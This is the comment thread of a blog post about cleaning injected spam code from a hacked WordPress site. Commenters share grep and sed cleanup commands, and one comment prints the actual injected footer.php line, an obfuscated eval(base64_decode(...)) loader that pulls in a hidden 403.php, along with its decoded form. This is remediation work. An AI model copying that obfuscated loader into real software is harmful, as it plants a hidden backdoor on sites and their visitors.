Lee.org

16 Comments

1. Steven Smethurst says:

   6/8/2011 at 1:32 pm

   I seen this a lot of in “Free” WordPress themes. The problem is that the code the gets evaluated might be a File IO write as it runs though all your other files on the system and adds its self to the bottom of every php file. I would do a scan of all php files on your system to ensure that this is a benine spammer version.

   Also you can use this script I set up to decode the string.
   http://www.abluestar.com/utilities/encode_base64/

2. lee says:

   6/8/2011 at 2:53 pm

   Grrr! I found more spam code (thanks Steven)

   So I’ve found and removed spam code in the following files.
   wp-includes/screenshot.php
   wp-includes/css/403.php
   wp-includes/css/links.db
   wp-content/themes/default/feed.php
   wp-content/themes/default/images/links.db
   wp-content/themes/default/images/403.php
   wp-content/themes/fluid-blue.1.7.1/fluid-blue/header.php
   wp-content/themes/fluid-blue.1.7.1/fluid-blue/footer.php

   Here is how I found all these bad programs:
   grep -r -l “@base64” * > aaa-eval
   grep -r -l “SAPE_USER” * > aaa-SAPE
   

   
   

   Some of the code is hidden from the WordPress Theme Editor. Here is the encoded code from footer.php
   
</div> <!-- page -->
<?//define('USE_DIRA', '/blog/wp-includes/css/'); @eval(@base64_decode("ZnVuY3Rpb24gY2FsbGJhY2soJGNoZWUpe3JlcXVpcmUoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXS5VU0VfRElSQS4iNDAzLnBocCIpO3JldHVybiAoJGNoZWUpO31vYl9zdGFydCgiY2FsbGJhY2siKTs="));?>
</body>


   Thanks to Steven’s base_64 converter, I can read it:
   
function callback($chee){require($_SERVER['DOCUMENT_ROOT'].USE_DIRA."403.php");return ($chee);}ob_start("callback");


   I think that’s all of it.

3. Steven Smethurst says:

   6/8/2011 at 3:28 pm

   Tricky, Your lucky.
   I have had friends upload themes on to there account and the eval function would file open all the scripts and copy its self to every file on the system. Huge issues.

   Note: If you run your own server you can disable the “eval()” function from the php.ini configuration file. I have yet to find a legit script that required eval() to function.

4. Dave says:

   6/17/2011 at 3:36 pm

   Do you know how the code was modified? How did the hacker got into your web server and modified the files?

5. lee says:

   6/19/2011 at 12:08 pm

   >Do you know how the code was modified?
   Do you mean “how my WordPress code was modified”? I pretty much answered that in my post, no?

   > How did the hacker got into your web server and modified the files?
   Dave, no I don’t know how they snuck in. I’m just going to hope beyond hope that the latest WordPress version plugged the hole. I started investigating it but didn’t get very far.

6. Digitalsoju says:

   7/4/2011 at 4:55 am

   I’ve had the same problem for over a year. I have wordpress and mediawiki installed, and for some reason it wrote it to my mediawiki index.php file. I installed a fresh wordpress install and tried to delete the old one, well guess what, when I deleted the old one it somehow wrote to the mediawiki index.php file again and put the eval 64 code. I googled it which finally led me here. Now here’s the weird part, I deleted that old wordpress folder awhile back, somehow it’s back on it’s own! Ah frustrating. The code doesn’t even spam my wiki anymore, it just makes it unloadable.

7. lee says:

   7/4/2011 at 11:52 am

   Digitalsoju, that sucks. There’s got to be a remnant of the code lying around somewhere on your system. Keep looking! And it’s possible they are using the same vulnerability over and over to break into your system repeatedly :-(. Be sure to update all your software and good luck. Try those greps I mentioned above. Tell me how it works out.

8. Digitalsoju says:

   7/6/2011 at 3:48 am

   Does the grep take awhile? Cuz mine seems like it’s just hanging. I think originally they got through into my wordpress, but odd they targeted my wiki mostly and not the wordpress. It also added two files /screenshot.php and /wiki/wiki.php

   This seems fairly complex. All this skill, and they use it to spam people, go figure.

9. lee says:

   7/6/2011 at 9:16 am

   Digitalsoju, yes, the grep can take a while. It searches every byte of all your folders. Here’s more precisely what you should do:

   If you’re not familiar with the unix shell, get a friend to help. They’ll probably jump at the chance to check out your infected system.
   * log in with a unix shell
   * cd into your wordpress directory
   * run this command: grep -r -l “@base64″ * > aaa-eval
   * that will look for the words “@base64” in all of your wordpress directories. My blog has about 1 gigabyte in that folder and takes a full 5 minutes to run.
   * Once it’s finished, look in the file “aaa-eval” for where the bad files are hiding out.
   * go to each of those files and edit out all the spam crap. You’ll have to read intelligently since I don’t know exactly what spam crap they put on your system. But certainly if they put new files like “wiki.php” on your system, they are using those files as backdoors to your system.

   You’ll also want to run the grep in your wiki directories.

10. Amzad Hossain says:

    11/17/2011 at 12:13 pm

    We had faced same issue but in our old CMS. Rather going through all files you can run this command :

    find ./ -name "*.php" -type f | xargs sed -i 's#eval(base64_decode("ZXJ.*;##g' 2>&1

    you can tweak the line with your own.

    NOTE: Never copy and paste any command. Check and Study then run the code.

11. lee says:

    11/18/2011 at 3:50 am

    thanks Amzad, nice little script!

12. Carl Parry says:

    2/1/2012 at 2:44 am

    I ran it and got a warning for over-use of resources. I seem to remember from my student days you can “nice” a script like that… can someone remind me. (About the nice command, not student life…)

    Yikes! One of your processes (xargs, pid 26146) was just killed for excessive resource usage.
    Please contact DreamHost Support for details.

    Just about everyone at dreamhost was hacked this week by the way. Expect a flood of visits like mine :)

13. lee says:

    2/1/2012 at 4:06 am

    Carl, try something like

    nice -n 19 find ./ -name “*.php” -type f | xargs sed -i ‘s#eval(base64_decode(“ZXJ.*;##g’ 2>&1

14. Carl Parry says:

    2/1/2012 at 5:21 am

    Nearly worked ie it ran for a good 20 seconds before being killed. I’ll play about with the -n parameter.

    Other stuff I’ve learnt on this hack.

    You need to change your blog/ftp/cpanel passwords. I changed my SQL password as well.

    After that, you need to change your secret keys in wp-config.php because the hacker (script actually but it will have a cookie) will still be logged in after you’ve changed your password. WordPress have a fast/quick salt key generator here;
    https://api.wordpress.org/secret-key/1.1/salt/

    Hope this helps someone. :)

    Cheers,
    Carl.

15. Amzad Hossain says:

    2/1/2012 at 6:20 am

    @carl,

    can you try this command see if it works faster than the old one ?
    
$grep -rl 'eval(base64_decode(“ZXJ' . > hacked_php.txt
$cat hacked_php.txt | xargs sed -i ‘s#eval(base64_decode(“ZXJ.*;##g’ 2>&1


    I never ran this cause my sites didnt got hacked after the last time. The first part of the command is to look for files that have hacked commands and store the filepath in a text file. The second command is to go through the list and fix those.

    P.S. Use this on your own RISK!

16. lee says:

    3/5/2012 at 5:37 pm

    Here’s another blogger’s take on removing base64_decode